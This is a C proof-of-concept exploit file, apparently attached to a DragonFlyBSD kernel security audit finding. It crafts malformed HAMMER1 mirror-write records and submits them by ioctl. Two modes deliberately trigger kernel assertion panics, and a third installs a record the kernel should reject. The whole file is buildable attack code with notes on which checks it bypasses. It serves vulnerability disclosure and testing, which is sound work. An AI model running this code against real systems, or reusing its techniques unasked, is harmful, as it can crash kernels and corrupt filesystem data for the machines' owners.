⬢ DragonFlyBSD Kernel Audit
DF-3149 / mirror_poc.c
← back to finding ↓ download raw
/*
 * DF-3148 / DF-3149 / DF-3150 - HAMMER1 mirror-write wire-leaf validation PoC
 *
 * craft modes:
 *   btype0  - one REC mrec with leaf.base.btype == 0, data_len == 0
 *             -> hammer_btree_insert() KKASSERT(elm->base.btype != 0) panic
 *   duptid  - REC mrec (btype 'R', create_tid T, delete_tid 0) followed by
 *             PASS mrec with delete_tid == T
 *             -> hammer_delete_at_cursor() KKASSERT(delete_tid != create_tid)
 *   nodata  - REC mrec with head.type = REC|HAMMER_MRECF_NODATA, data_len 0
 *             -> dead case in hammer_ioc_mirror_write() switch: record is
 *                installed instead of skipped (proof via readback)
 *   readback- HAMMERIOC_MIRROR_READ the range and dump mrecs
 *
 * build: cc -O -o /tmp/mirror_poc /tmp/mirror_poc.c
 * usage: /tmp/mirror_poc <file-on-hammer-mount> <mode>
 */
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>

/* ---- hand-rolled wire structs (mirror of hammer_ioctl.h / hammer_btree.h) */
struct h_ioc_head { int32_t flags, error, r[4]; };

struct h_base_elm {
	int64_t	obj_id;		/* 00 */
	int64_t	key;		/* 08 */
	int64_t	create_tid;	/* 10 */
	int64_t	delete_tid;	/* 18 */
	uint16_t rec_type;	/* 20 */
	uint8_t	obj_type;	/* 22 */
	uint8_t	btype;		/* 23 */
	uint32_t localization;	/* 24 */
};

struct h_leaf_elm {
	struct h_base_elm base;		/* 00 */
	uint32_t create_ts;		/* 40 */
	uint32_t delete_ts;		/* 44 */
	int64_t	data_offset;		/* 48 */
	int32_t	data_len;		/* 56 */
	uint32_t data_crc;		/* 60 */
};

struct h_mrec_head { uint32_t signature, rec_crc, rec_size, type; };
struct h_mrec_rec { struct h_mrec_head head; struct h_leaf_elm leaf; };
struct h_mrec_skip { struct h_mrec_head head; struct h_base_elm beg, end; };

struct h_mirror_rw {
	struct h_ioc_head head;
	struct h_base_elm key_beg, key_end, key_cur;
	int64_t	tid_beg, tid_end;
	void	*ubuf;
	int32_t	count, size, pfs_id, reserved01;
	uint8_t	shared_uuid[16];
};

_Static_assert(sizeof(struct h_base_elm) == 40, "base_elm");
_Static_assert(sizeof(struct h_leaf_elm) == 64, "leaf_elm");
_Static_assert(sizeof(struct h_mrec_head) == 16, "mrec_head");
_Static_assert(sizeof(struct h_mrec_rec) == 80, "mrec_rec");
_Static_assert(sizeof(struct h_mirror_rw) == 200, "mirror_rw");

#define H_IOC_MIRROR_READ	_IOWR('h', 7, struct h_mirror_rw)
#define H_IOC_MIRROR_WRITE	_IOWR('h', 8, struct h_mirror_rw)

#define SIG		0x4dd97272U
#define T_REC		1
#define T_PASS		6
#define F_NODATA	0x10000000U
#define BT_RECORD	0x52		/* 'R' */
#define RT_DB		0x0012
#define DOALIGN(x)	(((x) + 15) & ~15)

#define OBJID	0x1234
#define KEYV	0x100
#define CTID	0x1000		/* create_tid */

static void
fill_base(struct h_base_elm *b, int64_t del_tid, uint8_t btype)
{
	memset(b, 0, sizeof(*b));
	b->obj_id = OBJID;
	b->key = KEYV;
	b->create_tid = CTID;
	b->delete_tid = del_tid;
	b->rec_type = RT_DB;
	b->obj_type = 0;
	b->btype = btype;
	b->localization = 0;		/* PFS0 + no type bits */
}

static void
mk_rec(struct h_mrec_rec *m, uint32_t type, int64_t del_tid, uint8_t btype)
{
	memset(m, 0, sizeof(*m));
	m->head.signature = SIG;
	m->head.rec_crc = 0;		/* kernel never validates head rec_crc */
	m->head.rec_size = sizeof(*m);
	m->head.type = type;
	fill_base(&m->leaf.base, del_tid, btype);
	m->leaf.data_offset = 0;
	m->leaf.data_len = 0;		/* skip alloc/copyin/crc entirely */
	m->leaf.data_crc = 0;
}

static void
setup_mirror(struct h_mirror_rw *m, void *buf, int buflen)
{
	memset(m, 0, sizeof(*m));
	memset(&m->key_beg, 0, sizeof(m->key_beg));
	memset(&m->key_end, 0x7f, sizeof(m->key_end));	/* INT64_MAX fields */
	m->key_end.rec_type = 0xFFFF;
	m->key_end.obj_type = 0;
	m->key_end.btype = 0;
	m->key_end.localization = 0xFFFF;
	m->key_cur = m->key_beg;
	m->tid_beg = 1;			/* create_tid(0x1000) >= tid_beg */
	m->tid_end = 0x7FFFFFFFFFFFFFFFLL;
	m->ubuf = buf;
	m->count = 0;
	m->size = buflen;
	m->pfs_id = 0;
}

int
main(int argc, char **argv)
{
	struct h_mirror_rw mirror;
	char buf[4096];
	const char *mode;
	int fd, rc;

	if (argc != 3) {
		fprintf(stderr, "usage: %s <file> btype0|duptid|nodata|readback\n",
		    argv[0]);
		return 2;
	}
	mode = argv[2];
	fd = open(argv[1], O_RDWR);
	if (fd < 0) { perror("open"); return 2; }

	if (strcmp(mode, "readback") == 0) {
		struct h_mrec_head *h;
		int off;

		setup_mirror(&mirror, buf, sizeof(buf));
		rc = ioctl(fd, H_IOC_MIRROR_READ, &mirror);
		printf("MIRROR_READ rc=%d error=%d count=%d\n",
		    rc, mirror.head.error, mirror.count);
		for (off = 0; off + 16 <= mirror.count; off += DOALIGN(h->rec_size)) {
			struct h_mrec_rec *r = (struct h_mrec_rec *)&buf[off];
			h = (struct h_mrec_head *)&buf[off];
			printf("  mrec[%d] sig=%08x type=%08x rec_size=%u "
			    "obj=%llx key=%llx ctid=%llx dtid=%llx btype=%02x "
			    "rt=%04x loc=%08x dlen=%d\n",
			    off, h->signature, h->type, h->rec_size,
			    (unsigned long long)r->leaf.base.obj_id,
			    (unsigned long long)r->leaf.base.key,
			    (unsigned long long)r->leaf.base.create_tid,
			    (unsigned long long)r->leaf.base.delete_tid,
			    r->leaf.base.btype, r->leaf.base.rec_type,
			    r->leaf.base.localization, r->leaf.data_len);
		}
		return 0;
	}

	setup_mirror(&mirror, buf, sizeof(buf));

	if (strcmp(mode, "btype0") == 0) {
		/* DF-3148: single REC, btype == 0 -> hammer_btree.c KKASSERT */
		struct h_mrec_rec *m = (struct h_mrec_rec *)&buf[0];
		mk_rec(m, T_REC, 0, 0);		/* btype 0 */
		mirror.count = 0;
		mirror.size = DOALIGN(sizeof(*m));
	} else if (strcmp(mode, "duptid") == 0) {
		/*
		 * DF-3149: create a well-formed record (btype 'R',
		 * delete_tid 0), then PASS with delete_tid == create_tid
		 * -> hammer_object.c KKASSERT
		 */
		struct h_mrec_rec *m1 = (struct h_mrec_rec *)&buf[0];
		struct h_mrec_rec *m2 =
		    (struct h_mrec_rec *)&buf[DOALIGN(sizeof(*m1))];
		mk_rec(m1, T_REC, 0, BT_RECORD);	/* create */
		mk_rec(m2, T_PASS, CTID, BT_RECORD);	/* delete == create */
		mirror.count = 0;
		mirror.size = 2 * DOALIGN(sizeof(*m1));
	} else if (strcmp(mode, "nodata") == 0) {
		/* DF-3150: NODATA-flagged REC should be skipped, isn't */
		struct h_mrec_rec *m = (struct h_mrec_rec *)&buf[0];
		mk_rec(m, T_REC | F_NODATA, 0, BT_RECORD);
		mirror.count = 0;
		mirror.size = DOALIGN(sizeof(*m));
	} else {
		fprintf(stderr, "bad mode\n");
		return 2;
	}

	printf("issuing HAMMERIOC_MIRROR_WRITE mode=%s size=%d...\n",
	    mode, mirror.size);
	fflush(stdout);
	rc = ioctl(fd, H_IOC_MIRROR_WRITE, &mirror);
	printf("MIRROR_WRITE rc=%d head.error=%d head.flags=%08x count=%d\n",
	    rc, mirror.head.error, mirror.head.flags, mirror.count);
	if (mirror.head.error)
		printf("=> kernel REJECTED the stream (error %d)\n",
		    mirror.head.error);
	else
		printf("=> stream processed\n");
	return 0;
}